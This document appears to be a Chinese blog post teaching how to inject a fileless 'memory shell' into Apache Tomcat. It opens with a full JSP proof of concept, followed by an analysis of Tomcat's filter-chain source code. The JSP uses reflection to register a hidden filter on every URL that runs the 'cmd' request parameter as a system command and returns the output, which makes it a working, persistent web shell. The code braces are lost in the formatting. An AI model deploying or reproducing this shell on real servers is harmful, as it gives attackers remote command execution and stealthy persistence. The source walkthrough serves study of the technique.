Tomcat Filter内存马
Posted bfengj
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Tomcat Filter内存马相关的知识,希望对你有一定的参考价值。
前言
之前学了flask的内存马,一直都想学学Java的内存马,所以就学了Tomcat Filter内存马,感觉还是太菜了呜呜呜好难看不太懂。最近学Java写下的文章都不太想发出来了,因为自己本身就没搞懂,都是迷迷糊糊的,看着各种文章上面说是怎么怎么样,然后分析了一波,给出了POC和结论,我是除了会用POC其他一点都没看太懂,只能说自己还是太菜了呜呜呜。
主要跟着天下大木头师傅的文章进行学习。
POC
注意命令执行那里放的是windows的,linux用注释里面的。
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%
ServletContext servletContext = request.getServletContext();
ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;
Field applicationContextFacadeContext = applicationContextFacade.getClass().getDeclaredField("context");
applicationContextFacadeContext.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadeContext.get(applicationContextFacade);
Field applicationContextContext = applicationContext.getClass().getDeclaredField("context");
applicationContextContext.setAccessible(true);
StandardContext standardContext = (StandardContext) applicationContextContext.get(applicationContext);
Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigs.setAccessible(true);
HashMap hashMap = (HashMap) filterConfigs.get(standardContext);
String filterName = "ego";
if (hashMap.get(filterName)==null)
Filter filter = new Filter()
@Override
public void init(FilterConfig filterConfig) throws ServletException
//Filter.super.init(filterConfig);
//System.out.println("内存马init");
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException
if (request.getParameter("cmd")!=null)
//String[] cmds = "/bin/sh","-c",request.getParameter("cmd")
String[] cmds = "cmd","/c",request.getParameter("cmd");
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
byte[] bcache = new byte[1024];
int readSize = 0;
try(ByteArrayOutputStream outputStream = new ByteArrayOutputStream())
while ((readSize =in.read(bcache))!=-1)
outputStream.write(bcache,0,readSize);
response.getWriter().println(outputStream.toString());
@Override
public void destroy()
Filter.super.destroy();
;
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(filterName);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
hashMap.put(filterName,applicationFilterConfig);
response.getWriter().println("inject successfully");
%>
运行这个jsp马之后就成功注入了内存马:
环境
tomcat环境(版本需要为7.x以上)
因为关键的代码都在tomcat里面,IDEA直接找不到tomcat里面的代码,需要进行导入。
在project structure
里面找到libraries,点加号,Java:
然后把tomcat的lib下面的所有jar包都给导进来就行了:
分析
想学的师傅们就别看我的分析了,上网上找各种文章叭,因为我自己都有点迷。
首先可以了解一下,Filter是怎么产生的。在Servlet中写Filter有两种方式,一种是把filter配置写到web.xml中,一种就是写注解:
@WebFilter("/*")
看一下ContextConfig.class
的processClass()
:
protected void processClass(WebXml fragment, JavaClass clazz)
AnnotationEntry[] annotationsEntries = clazz.getAnnotationEntries();
if (annotationsEntries != null)
String className = clazz.getClassName();
AnnotationEntry[] var5 = annotationsEntries;
int var6 = annotationsEntries.length;
for(int var7 = 0; var7 < var6; ++var7)
AnnotationEntry ae = var5[var7];
String type = ae.getAnnotationType();
if ("Ljavax/servlet/annotation/WebServlet;".equals(type))
this.processAnnotationWebServlet(className, ae, fragment);
else if ("Ljavax/servlet/annotation/WebFilter;".equals(type))
this.processAnnotationWebFilter(className, ae, fragment);
else if ("Ljavax/servlet/annotation/WebListener;".equals(type))
fragment.addListener(className);
发现如果匹配到了Ljavax/servlet/annotation/WebFilter
,就进入processAnnotationWebFilter()
。
首先是:
FilterDef filterDef = (FilterDef)fragment.getFilters().get(filterName);
FilterMap filterMap = new FilterMap();
boolean isWebXMLfilterDef;
if (filterDef == null)
filterDef = new FilterDef();
filterDef.setFilterName(filterName);
filterDef.setFilterClass(className);
isWebXMLfilterDef = false;
else
isWebXMLfilterDef = true;
产生``FilterDef和
FilterMap`,这也是将贯穿始终的两个类型。
看一下fragment
,发现是个Webxml
:
实际上也就是和web.xml相关联的一个变量,如果web.xml里面没有配置Filter,(FilterDef)fragment.getFilters().get(filterName);
就得不到,所以isWebXMLfilterDef = false;
。
之后就是对FilterDef
和FilterMap
的处理了。FilterDef
里面有filter的name和class,就相当于xml中的这个:
<filter>
<filter-name>filter1</filter-name>
<filter-class>com.feng.filter1</filter-class>
</filter>
而filterMap里面就是filter的nam和url-pattern,相当于xml中的:
<filter-mapping>
<filter-name>filter1</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
经过处理后,就把它们添加到fragment
中。
if (!isWebXMLfilterDef)
fragment.addFilter(filterDef);
if (urlPatternsSet || servletNamesSet)
filterMap.setFilterName(filterName);
fragment.addFilterMapping(filterMap);
if (!isWebXMLfilterDef)
fragment.addFilter(filterDef);
if (urlPatternsSet || servletNamesSet)
filterMap.setFilterName(filterName);
fragment.addFilterMapping(filterMap);
而这些东西,最后都是到了Context
(StandardContext)中,跳过其中的一些细节,知道即可:
FilterDef filter;
for(var2 = webxml.getFilters().values().iterator(); var2.hasNext(); this.context.addFilterDef(filter))
filter = (FilterDef)var2.next();
if (filter.getAsyncSupported() == null)
filter.setAsyncSupported("false");
var2 = webxml.getFilterMappings().iterator();
while(var2.hasNext())
FilterMap filterMap = (FilterMap)var2.next();
this.context.addFilterMap(filterMap);
而filter又是怎么调用呢?继续打断点跟进,入口在ApplicationFilterFactory.class
的createFilterChain()
方法中:
public static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet)
if (servlet == null)
return null;
else
ApplicationFilterChain filterChain = null;
if (request instanceof Request)
Request req = (Request)request;
if (Globals.IS_SECURITY_ENABLED)
filterChain = new ApplicationFilterChain();
else
filterChain = (ApplicationFilterChain)req.getFilterChain();
if (filterChain == null)
filterChain = new ApplicationFilterChain();
req.setFilterChain(filterChain);
else
filterChain = new ApplicationFilterChain();
filterChain.setServlet(servlet);
filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());
StandardContext context = (StandardContext)wrapper.getParent();
FilterMap[] filterMaps = context.findFilterMaps();
if (filterMaps != null && filterMaps.length != 0)
DispatcherType dispatcher = (DispatcherType)request.getAttribute("org.apache.catalina.core.DISPATCHER_TYPE");
String requestPath = null;
Object attribute = request.getAttribute("org.apache.catalina.core.DISPATCHER_REQUEST_PATH");
if (attribute != null)
requestPath = attribute.toString();
String servletName = wrapper.getName();
FilterMap[] var10 = filterMaps;
int var11 = filterMaps.length;
int var12;
FilterMap filterMap;
ApplicationFilterConfig filterConfig;
for(var12 = 0; var12 < var11; ++var12)
filterMap = var10[var12];
if (matchDispatcher(filterMap, dispatcher) && matchFiltersURL(filterMap, requestPath))
filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
if (filterConfig != null)
filterChain.addFilter(filterConfig);
看一下处理逻辑,先是声明一个类型为ApplicationFilterChain
的filterChain
,这个也是很重要的。
然后在这里调用getParent()
获取当前的Context:
上面也提到了,之前的那些FilterDef
还有FilterMap
都放到了这个context里面:
继续往下看,从context中得到filterMaps
之后进行遍历:
如果当前请求的path和filterMap中的url-pattern匹配了,就产生这么一个ApplicationFilterConfig
的filterConfig
(可以发现它也是从context中取得了,这个也很重要!),然后调用了addFilter
:
void addFilter(ApplicationFilterConfig filterConfig)
ApplicationFilterConfig[] newFilters = this.filters;
int var3 = newFilters.length;
for(int var4 = 0; var4 < var3; ++var4)
ApplicationFilterConfig filter = newFilters[var4];
if (filter == filterConfig)
return;
if (this.n == this.filters.length)
newFilters = new ApplicationFilterConfig[this.n + 10];
System.arraycopy(this.filters, 0, newFilters, 0, this.n);
this.filters = newFilters;
this.filters[this.n++] = filterConfig;
先判断当前的this.filters
里面有没有,没有的话把它添加进去,可能还有一个扩容的处理。
这样chainFilter
就组建完毕。需要注意的是,是每次发起Servlet请求都会有这样的一次chainFilter
的处理,把所有urlpattern满足请求的path的filter都装入chain中,这也就容易联想到Filter中doFilter
的那个chain.doFilter
:
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException
chain.doFilter(request, response);
装配完这个chain有什么用呢?继续跟进StandardWrapperValve.class
的invoke()
方法,跟进到这一行(实际上也可以在自己写的Filter里面打断点,然后回看之前的栈也可以找到):
调用了filterChain
的doFilter()
方法,跟进后继续跟进internalDoFilter()
方法
public void doFilter(ServletRequest request, ServletResponse response) throws IOException, ServletException
if (Globals.IS_SECURITY_ENABLED)
tomcat无文件内存webshell